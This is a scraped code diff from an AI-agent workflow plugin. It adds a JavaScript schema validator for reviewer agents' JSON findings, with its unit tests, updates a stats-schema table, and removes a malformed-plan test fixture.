- The 12-key rule catalogue and 4-tier severity enum are the contract surface
for `rule_key` / `severity` validation.
## NFRs
- The schema validator adds no measurable latency to Phase 5 (pure in-process
validation).
- Error codes are stable strings so a bounded re-ask can quote them.

View file

@ -1,464 +0,0 @@
diff --git a/commands/trekreview.md b/commands/trekreview.md
index 4fd24b3..288072d 100644
--- a/commands/trekreview.md
+++ b/commands/trekreview.md
@@ -199,9 +199,25 @@ Each reviewer prompt includes:
- **Brief path** — `{brief_path}` (read on demand; do not inline).
- **Rule catalogue** — reference to `lib/review/rule-catalogue.mjs`.
-Collect each reviewer's trailing JSON block (last fenced `json` block in
-their output). Parse with `JSON.parse()`. On parse error, ask the agent
-to re-emit the JSON only.
+Collect each reviewer's trailing JSON block and **validate it against the
+reviewer-output schema** rather than merely parsing it. Run:
+
+```bash
+node ${CLAUDE_PLUGIN_ROOT}/lib/review/findings-schema.mjs --json <reviewer-output-file>
+```
+
+`validateReviewerOutput` in `lib/review/findings-schema.mjs` extracts the
+last fenced `json` block, parses it, and schema-checks every finding
+(load-bearing fields: `file`, `rule_key` ∈ catalogue, `severity` ∈ enum,
+`line` integer ≥ 0). Parse failure and schema failure surface through the
+same stable error codes (`FINDINGS_NO_JSON_BLOCK`, `FINDINGS_PARSE_ERROR`,
+`FINDING_*`).
+
+On any failure, re-ask **that reviewer** to re-emit a conforming JSON
+block only — quote the reported error codes/locations so the fix is
+targeted. **Bounded retries: N=2.** If the output still fails after 2
+re-asks, stop and report which reviewer produced non-conforming output;
+do not feed unvalidated findings to the coordinator.
In `quick` mode, launch only `code-correctness-reviewer`. The Executive
Summary will note the brief-conformance pass was skipped.
diff --git a/lib/review/findings-schema.mjs b/lib/review/findings-schema.mjs
new file mode 100644
index 0000000..fb09c72
--- /dev/null
+++ b/lib/review/findings-schema.mjs
@@ -0,0 +1,175 @@
+// lib/review/findings-schema.mjs
+// Reviewer-output JSON schema contract for /trekreview Phase 5 (NW1).
+//
+// brief-conformance-reviewer and code-correctness-reviewer each emit a trailing
+// fenced `json` block of shape:
+//
+// { "reviewer": "<name>", "findings": [ { id, severity, rule_key, file, line,
+// brief_ref, title, detail,
+// recommended_action }, ... ] }
+//
+// This module codifies that contract so main can VALIDATE each reviewer's JSON
+// (not merely JSON.parse it) and re-ask on *schema* failure as well as parse
+// failure, replacing the fragile "parse the last json block" contract that used
+// to live in commands/trekreview.md (the :202–204 prose).
+//
+// Load-bearing fields (the downstream dedup triplet + verdict severity) are hard
+// errors: file, rule_key, severity, line. Unknown rule_keys are errors too — the
+// catalogue is the contract. Descriptive fields (title/detail/recommended_action/
+// brief_ref) and unknown top-level keys are tolerated (forward-compat, mirroring
+// review-validator.mjs).
+//
+// 3-layer pattern (Content → Raw-text → CLI shim) mirroring the other validators.
+
+import { readFileSync, existsSync } from 'node:fs';
+import { issue, fail } from '../util/result.mjs';
+import { RULE_KEYS, SEVERITY_VALUES } from './rule-catalogue.mjs';
+
+// The fields main + the coordinator depend on. Descriptive fields are not here
+// on purpose: a missing recommended_action should not trigger a re-ask.
+export const FINDING_REQUIRED_FIELDS = Object.freeze([
+ 'severity',
+ 'rule_key',
+ 'file',
+ 'line',
+]);
+
+// Last fenced ```json … ``` block in a reviewer's output. The contract pins the
+// JSON block as the LAST fence so prose above it never confuses the parser.
+const JSON_FENCE_GLOBAL = /```json[ \t]*\r?\n([\s\S]*?)```/gi;
+
+/**
+ * Extract the inner body of the LAST fenced `json` block in `text`.
+ * @param {string} text
+ * @returns {string|null} the JSON source, or null if no json fence is present.
+ */
+export function extractFindingsBlock(text) {
+ if (typeof text !== 'string') return null;
+ JSON_FENCE_GLOBAL.lastIndex = 0;
+ let last = null;
+ let m;
+ while ((m = JSON_FENCE_GLOBAL.exec(text)) !== null) {
+ last = m[1];
+ }
+ return last;
+}
+
+function validateFinding(finding, index, errors) {
+ const loc = `findings[${index}]`;
+ if (finding === null || typeof finding !== 'object' || Array.isArray(finding)) {
+ errors.push(issue('FINDING_NOT_OBJECT', `${loc} is not an object`, undefined, loc));
+ return;
+ }
+
+ if (typeof finding.file !== 'string' || finding.file.length === 0) {
+ errors.push(issue('FINDING_MISSING_FILE', `${loc}.file must be a non-empty string`, undefined, loc));
+ }
+
+ if (typeof finding.rule_key !== 'string' || finding.rule_key.length === 0) {
+ errors.push(issue('FINDING_MISSING_RULE_KEY', `${loc}.rule_key must be a non-empty string`, undefined, loc));
+ } else if (!RULE_KEYS.has(finding.rule_key)) {
+ errors.push(issue(
+ 'FINDING_UNKNOWN_RULE_KEY',
+ `${loc}.rule_key "${finding.rule_key}" is not in the rule catalogue`,
+ 'Use a rule_key from lib/review/rule-catalogue.mjs',
+ loc,
+ ));
+ }
+
+ if (typeof finding.severity !== 'string' || !SEVERITY_VALUES.includes(finding.severity)) {
+ errors.push(issue(
+ 'FINDING_BAD_SEVERITY',
+ `${loc}.severity must be one of ${SEVERITY_VALUES.join('|')}, got ${JSON.stringify(finding.severity)}`,
+ undefined,
+ loc,
+ ));
+ }
+
+ if (typeof finding.line !== 'number' || !Number.isInteger(finding.line) || finding.line < 0) {
+ errors.push(issue(
+ 'FINDING_BAD_LINE',
+ `${loc}.line must be an integer ≥ 0, got ${JSON.stringify(finding.line)}`,
+ 'Use 0 for file-scoped findings without a specific line.',
+ loc,
+ ));
+ }
+}
+
+/**
+ * Validate an already-parsed reviewer-output payload against the schema.
+ * Accumulates every error (so a re-ask can name all problems at once).
+ * @param {unknown} payload
+ * @returns {import('../util/result.mjs').Result}
+ */
+export function validateFindings(payload) {
+ if (payload === null || typeof payload !== 'object' || Array.isArray(payload)) {
+ return fail(issue('FINDINGS_NOT_OBJECT', `Reviewer output must be a JSON object, got ${Array.isArray(payload) ? 'array' : typeof payload}`));
+ }
+
+ const errors = [];
+ const warnings = [];
+
+ if (typeof payload.reviewer !== 'string' || payload.reviewer.length === 0) {
+ warnings.push(issue('FINDINGS_MISSING_REVIEWER', 'Reviewer output should carry a non-empty "reviewer" name'));
+ }
+
+ if (!Array.isArray(payload.findings)) {
+ errors.push(issue('FINDINGS_NOT_ARRAY', `Field "findings" must be an array, got ${typeof payload.findings}`));
+ return { valid: false, errors, warnings, parsed: payload };
+ }
+
+ for (let i = 0; i < payload.findings.length; i++) {
+ validateFinding(payload.findings[i], i, errors);
+ }
+
+ return { valid: errors.length === 0, errors, warnings, parsed: payload };
+}
+
+/**
+ * Validate a reviewer's raw output text: extract the last json fence, parse it,
+ * then schema-validate. Parse-stage failures get stable codes so they flow
+ * through the same bounded re-ask path as schema failures.
+ * @param {string} rawText
+ * @returns {import('../util/result.mjs').Result}
+ */
+export function validateReviewerOutput(rawText) {
+ const block = extractFindingsBlock(rawText);
+ if (block === null) {
+ return fail(issue(
+ 'FINDINGS_NO_JSON_BLOCK',
+ 'No trailing fenced ```json block found in reviewer output',
+ 'Reviewers must end their output with a single ```json findings block.',
+ ));
+ }
+ let parsed;
+ try {
+ parsed = JSON.parse(block);
+ } catch (e) {
+ return fail(issue('FINDINGS_PARSE_ERROR', `Reviewer JSON block did not parse: ${e.message}`));
+ }
+ return validateFindings(parsed);
+}
+
+// ---- CLI shim ----------------------------------------------------------------
+
+if (import.meta.url === `file://${process.argv[1]}`) {
+ const args = process.argv.slice(2);
+ const filePath = args.find((a) => !a.startsWith('--'));
+ if (!filePath) {
+ process.stderr.write('Usage: findings-schema.mjs [--json] <reviewer-output.txt|.md>\n');
+ process.exit(2);
+ }
+ if (!existsSync(filePath)) {
+ process.stderr.write(`findings-schema: file not found: ${filePath}\n`);
+ process.exit(2);
+ }
+ const r = validateReviewerOutput(readFileSync(filePath, 'utf-8'));
+ if (args.includes('--json')) {
+ process.stdout.write(JSON.stringify({ valid: r.valid, errors: r.errors, warnings: r.warnings }, null, 2) + '\n');
+ } else {
+ process.stdout.write(`findings-schema: ${r.valid ? 'PASS' : 'FAIL'} ${filePath}\n`);
+ for (const e of r.errors) process.stderr.write(` ERROR [${e.code}] ${e.message}\n`);
+ for (const w of r.warnings) process.stderr.write(` WARN [${w.code}] ${w.message}\n`);
+ }
+ process.exit(r.valid ? 0 : 1);
+}
diff --git a/tests/lib/findings-schema.test.mjs b/tests/lib/findings-schema.test.mjs
new file mode 100644
index 0000000..e94a7c6
--- /dev/null
+++ b/tests/lib/findings-schema.test.mjs
@@ -0,0 +1,244 @@
+import { test } from 'node:test';
+import { strict as assert } from 'node:assert';
+import {
+ validateFindings,
+ extractFindingsBlock,
+ validateReviewerOutput,
+ FINDING_REQUIRED_FIELDS,
+} from '../../lib/review/findings-schema.mjs';
+
+// ---- helpers ----------------------------------------------------------------
+
+function validFinding(over = {}) {
+ return {
+ id: '0123456789abcdef0123456789abcdef01234567',
+ severity: 'BLOCKER',
+ rule_key: 'UNIMPLEMENTED_CRITERION',
+ file: 'lib/foo.mjs',
+ line: 0,
+ brief_ref: 'SC2 — exact quoted criterion text',
+ title: 'Short imperative title',
+ detail: 'Multi-sentence explanation citing concrete diff evidence',
+ recommended_action: 'Imperative, single-step recommendation',
+ ...over,
+ };
+}
+
+function validPayload(findings = [validFinding()]) {
+ return { reviewer: 'brief-conformance-reviewer', findings };
+}
+
+function codes(result) {
+ return result.errors.map((e) => e.code);
+}
+
+// ---- exports ----------------------------------------------------------------
+
+test('module exports the validator surface', () => {
+ assert.equal(typeof validateFindings, 'function');
+ assert.equal(typeof extractFindingsBlock, 'function');
+ assert.equal(typeof validateReviewerOutput, 'function');
+ assert.ok(Array.isArray(FINDING_REQUIRED_FIELDS));
+ for (const f of ['severity', 'rule_key', 'file', 'line']) {
+ assert.ok(FINDING_REQUIRED_FIELDS.includes(f), `${f} should be a required field`);
+ }
+});
+
+// ---- validateFindings: happy path ------------------------------------------
+
+test('validateFindings — accepts a well-formed findings array', () => {
+ const r = validateFindings(validPayload());
+ assert.equal(r.valid, true, JSON.stringify(r.errors));
+ assert.deepEqual(r.errors, []);
+});
+
+test('validateFindings — accepts both reviewer example shapes', () => {
+ const conformance = validateFindings(validPayload([validFinding()]));
+ const correctness = validateFindings({
+ reviewer: 'code-correctness-reviewer',
+ findings: [validFinding({ rule_key: 'SECURITY_INJECTION', file: 'lib/exec.mjs', line: 23 })],
+ });
+ assert.equal(conformance.valid, true);
+ assert.equal(correctness.valid, true);
+});
+
+test('validateFindings — accepts an empty findings array', () => {
+ const r = validateFindings(validPayload([]));
+ assert.equal(r.valid, true);
+});
+
+test('validateFindings — accepts line: 0 (file-scoped finding)', () => {
+ const r = validateFindings(validPayload([validFinding({ line: 0 })]));
+ assert.equal(r.valid, true);
+});
+
+test('validateFindings — tolerates unknown top-level keys (forward-compat)', () => {
+ const payload = { ...validPayload(), future_field: 'whatever' };
+ const r = validateFindings(payload);
+ assert.equal(r.valid, true);
+});
+
+// ---- validateFindings: the four named malformations ------------------------
+
+test('validateFindings — rejects missing rule_key → FINDING_MISSING_RULE_KEY', () => {
+ const f = validFinding();
+ delete f.rule_key;
+ const r = validateFindings(validPayload([f]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_MISSING_RULE_KEY'), codes(r).join(','));
+});
+
+test('validateFindings — rejects unknown rule_key → FINDING_UNKNOWN_RULE_KEY', () => {
+ const r = validateFindings(validPayload([validFinding({ rule_key: 'NOT_A_REAL_RULE' })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_UNKNOWN_RULE_KEY'), codes(r).join(','));
+});
+
+test('validateFindings — rejects bad severity enum → FINDING_BAD_SEVERITY', () => {
+ const r = validateFindings(validPayload([validFinding({ severity: 'CRITICAL' })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_BAD_SEVERITY'), codes(r).join(','));
+});
+
+test('validateFindings — rejects missing severity → FINDING_BAD_SEVERITY', () => {
+ const f = validFinding();
+ delete f.severity;
+ const r = validateFindings(validPayload([f]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_BAD_SEVERITY'));
+});
+
+test('validateFindings — rejects non-numeric line → FINDING_BAD_LINE', () => {
+ const r = validateFindings(validPayload([validFinding({ line: '23' })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'), codes(r).join(','));
+});
+
+test('validateFindings — rejects non-integer line → FINDING_BAD_LINE', () => {
+ const r = validateFindings(validPayload([validFinding({ line: 23.5 })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'));
+});
+
+test('validateFindings — rejects negative line → FINDING_BAD_LINE', () => {
+ const r = validateFindings(validPayload([validFinding({ line: -1 })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_BAD_LINE'));
+});
+
+test('validateFindings — rejects missing file → FINDING_MISSING_FILE', () => {
+ const f = validFinding();
+ delete f.file;
+ const r = validateFindings(validPayload([f]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_MISSING_FILE'), codes(r).join(','));
+});
+
+test('validateFindings — rejects empty-string file → FINDING_MISSING_FILE', () => {
+ const r = validateFindings(validPayload([validFinding({ file: '' })]));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_MISSING_FILE'));
+});
+
+// ---- validateFindings: top-level shape -------------------------------------
+
+test('validateFindings — rejects non-object payload → FINDINGS_NOT_OBJECT', () => {
+ for (const bad of [null, undefined, 42, 'x', []]) {
+ const r = validateFindings(bad);
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDINGS_NOT_OBJECT'), `${JSON.stringify(bad)} → ${codes(r)}`);
+ }
+});
+
+test('validateFindings — rejects missing/non-array findings → FINDINGS_NOT_ARRAY', () => {
+ assert.ok(codes(validateFindings({ reviewer: 'x' })).includes('FINDINGS_NOT_ARRAY'));
+ assert.ok(codes(validateFindings({ reviewer: 'x', findings: {} })).includes('FINDINGS_NOT_ARRAY'));
+});
+
+test('validateFindings — rejects non-object finding element → FINDING_NOT_OBJECT', () => {
+ const r = validateFindings(validPayload(['not-an-object']));
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_NOT_OBJECT'));
+});
+
+test('validateFindings — missing reviewer is a non-blocking warning', () => {
+ const r = validateFindings({ findings: [] });
+ assert.equal(r.valid, true);
+ assert.ok(r.warnings.some((w) => w.code === 'FINDINGS_MISSING_REVIEWER'));
+});
+
+// ---- validateFindings: error shape + accumulation --------------------------
+
+test('validateFindings — every error has stable {code, message} + per-finding location', () => {
+ const r = validateFindings(validPayload([validFinding({ file: '', severity: 'NOPE' })]));
+ assert.equal(r.valid, false);
+ for (const e of r.errors) {
+ assert.ok(typeof e.code === 'string' && e.code.length > 0);
+ assert.ok(typeof e.message === 'string' && e.message.length > 0);
+ assert.ok(typeof e.location === 'string' && e.location.includes('findings[0]'));
+ }
+});
+
+test('validateFindings — accumulates errors across multiple bad findings', () => {
+ const r = validateFindings(validPayload([
+ validFinding({ rule_key: undefined }),
+ validFinding({ line: 'x' }),
+ ]));
+ assert.equal(r.valid, false);
+ assert.ok(r.errors.some((e) => e.code === 'FINDING_MISSING_RULE_KEY' && e.location.includes('[0]')));
+ assert.ok(r.errors.some((e) => e.code === 'FINDING_BAD_LINE' && e.location.includes('[1]')));
+});
+
+// ---- extractFindingsBlock ---------------------------------------------------
+
+test('extractFindingsBlock — extracts the LAST json fence', () => {
+ const text = [
+ '## Prose',
+ '```json',
+ '{"reviewer":"early","findings":[]}',
+ '```',
+ 'more prose',
+ '```json',
+ '{"reviewer":"last","findings":[]}',
+ '```',
+ ].join('\n');
+ const block = extractFindingsBlock(text);
+ assert.ok(block.includes('"last"'));
+ assert.ok(!block.includes('"early"'));
+});
+
+test('extractFindingsBlock — returns null when no json fence present', () => {
+ assert.equal(extractFindingsBlock('just prose, no fence'), null);
+ assert.equal(extractFindingsBlock(''), null);
+ assert.equal(extractFindingsBlock(123), null);
+});
+
+// ---- validateReviewerOutput (raw text → extract → parse → schema) -----------
+
+test('validateReviewerOutput — valid raw output round-trips to valid', () => {
+ const raw = `## Review\n\nprose here\n\n\`\`\`json\n${JSON.stringify(validPayload(), null, 2)}\n\`\`\`\n`;
+ const r = validateReviewerOutput(raw);
+ assert.equal(r.valid, true, JSON.stringify(r.errors));
+});
+
+test('validateReviewerOutput — no json block → FINDINGS_NO_JSON_BLOCK', () => {
+ const r = validateReviewerOutput('prose with no fenced json');
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDINGS_NO_JSON_BLOCK'));
+});
+
+test('validateReviewerOutput — malformed JSON → FINDINGS_PARSE_ERROR', () => {
+ const raw = '```json\n{"reviewer":"x","findings":[],}\n```'; // trailing comma
+ const r = validateReviewerOutput(raw);
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDINGS_PARSE_ERROR'));
+});
+
+test('validateReviewerOutput — well-formed JSON but schema-invalid surfaces schema code', () => {
+ const bad = { reviewer: 'x', findings: [{ severity: 'BLOCKER', file: 'a.mjs', line: 1 }] }; // no rule_key
+ const raw = `\`\`\`json\n${JSON.stringify(bad)}\n\`\`\``;
+ const r = validateReviewerOutput(raw);
+ assert.equal(r.valid, false);
+ assert.ok(codes(r).includes('FINDING_MISSING_RULE_KEY'),
+ 'parse and schema validation must flow through the same result');
+});

View file

@ -19,13 +19,13 @@
| schema_id | fields | writer_path | line_ref | v4.1 additive | PII |
|-----------|--------|-------------|----------|---------------|-----|
| trekbrief-stats | ts, task, slug, mode, interview_turns, review_iterations, brief_quality, research_topics, auto_research, auto_result, intent_approved, project_dir, order_id, order_claimed_at, order_reason | commands/trekbrief.md (orchestrator-emit Phase 7; order_* added by lib/stats/stats-append.mjs) | trekbrief.md:1141-1165 | profile, phase_models, profile_source | none |
| trekresearch-stats | ts, question, mode, scope, engine, slug, project_dir, brief_path, dimensions, dimensions_baseline, dimensions_baseline_preserved, effort, conv_turns, empty_turns, unique_sources, agents_local, agents_external, gemini_used, confidence, contradictions, open_questions | lib/stats/stats-append.mjs (trekresearch.md Stats tracking) | trekresearch.md:829-862 | profile, phase_models, parallel_agents, external_research_enabled, profile_source | none |
| trekplan-stats | ts, task, mode, slug, brief_path, project_dir, codebase_size, codebase_files, agents_deployed, deep_dives, research_briefs_used, research_scout_used, critic_verdict, guardian_verdict, outcome | lib/stats/stats-append.mjs (trekplan.md Phase 12) | trekplan.md:1307-1335 | profile, phase_models, parallel_agents, profile_source | none |
| trekbrief-stats | ts, task, slug, mode, interview_turns, review_iterations, brief_quality, research_topics, auto_research, auto_result, intent_approved, project_dir, order_id, order_claimed_at, order_reason | commands/trekbrief.md (orchestrator-emit Phase 7; order_* added by lib/stats/stats-append.mjs) | trekbrief.md:1140-1164 | profile, phase_models, profile_source | none |
| trekresearch-stats | ts, question, mode, scope, engine, slug, project_dir, brief_path, dimensions, dimensions_baseline, dimensions_baseline_preserved, effort, conv_turns, empty_turns, unique_sources, agents_local, agents_external, gemini_used, confidence, contradictions, open_questions | lib/stats/stats-append.mjs (trekresearch.md Stats tracking) | trekresearch.md:828-861 | profile, phase_models, parallel_agents, external_research_enabled, profile_source | none |
| trekplan-stats | ts, task, mode, slug, brief_path, project_dir, codebase_size, codebase_files, agents_deployed, deep_dives, research_briefs_used, research_scout_used, critic_verdict, guardian_verdict, outcome | lib/stats/stats-append.mjs (trekplan.md Phase 12) | trekplan.md:1305-1333 | profile, phase_models, parallel_agents, profile_source | none |
| trekexecute-stats (Phase 9 record) | ts, plan, plan_type, mode, result, steps_total, steps_passed, steps_failed, steps_skipped, failed_at_step | lib/stats/stats-append.mjs (trekexecute.md Phase 9) | trekexecute.md:3016-3038 | profile, phase_models, profile_source | none |
| trekexecute-stats (autonomy events) | ts, event, known_event, payload | lib/stats/event-emit.mjs `emit()` | event-emit.mjs:78-99 | payload.profile, payload.phase_models, payload.profile_source | none |
| trekexecute-stats (PostToolUse Bash) | ts, session_id, command_excerpt, duration_ms, success | hooks/scripts/post-bash-stats.mjs (Bash PostToolUse) | post-bash-stats.mjs:42-54 | none (hook is plugin-level, not profile-aware) | command_excerpt (CWE-212) |
| trekreview-stats | ts, slug, verdict, counts (BLOCKER/MAJOR/MINOR/SUGGESTION), reviewed_files_count, mode, duration_ms | lib/stats/stats-append.mjs (trekreview.md Phase 8) | trekreview.md:760-813 | profile, phase_models, profile_source | none |
| trekreview-stats | ts, slug, verdict, counts (BLOCKER/MAJOR/MINOR/SUGGESTION), reviewed_files_count, mode, duration_ms | lib/stats/stats-append.mjs (trekreview.md Phase 8) | trekreview.md:682-735 | profile, phase_models, profile_source | none |
| trekcontinue-stats | ts, project, next_session_label, status | lib/stats/stats-append.mjs (trekcontinue.md Phase 5) | trekcontinue.md:304-308 | profile, profile_source | none |
| token-usage | ts, session_id, scope, model, tokens_input, tokens_output, tokens_cache_creation, tokens_cache_read, cost_usd, is_estimate, price_table_version | lib/stats/token-usage.mjs `captureTokenUsage` (via hooks/scripts/otel-export.mjs Stop hook, opt-in `VOYAGE_TOKEN_METER`) | token-usage.mjs:buildRecord | n/a (SKAL-2 schema) | session_id (stripped at export) |

View file

@ -1,25 +0,0 @@
# Bad plan — narrative drift fixture
plan_version: 1.7
This fixture exists ONLY to verify that `plan-validator --strict`
rejects Opus 4.7-style narrative drift (Fase / Phase / Stage / Steg
headings instead of `### Step N:`). It MUST FAIL strict validation.
## Context
This is what an LLM might produce when it ignores the literal-step
schema and falls back to narrative phasing. The validator should
catch this and refuse.
### Fase 1: Forberedelse
Vi må først forstå koden. Les filene under src/.
### Fase 2: Implementering
Skriv ny kode i nye filer.
### Fase 3: Verifisering
Kjør testene og fiks eventuelle feil.

Some files were not shown because too many files have changed in this diff Show more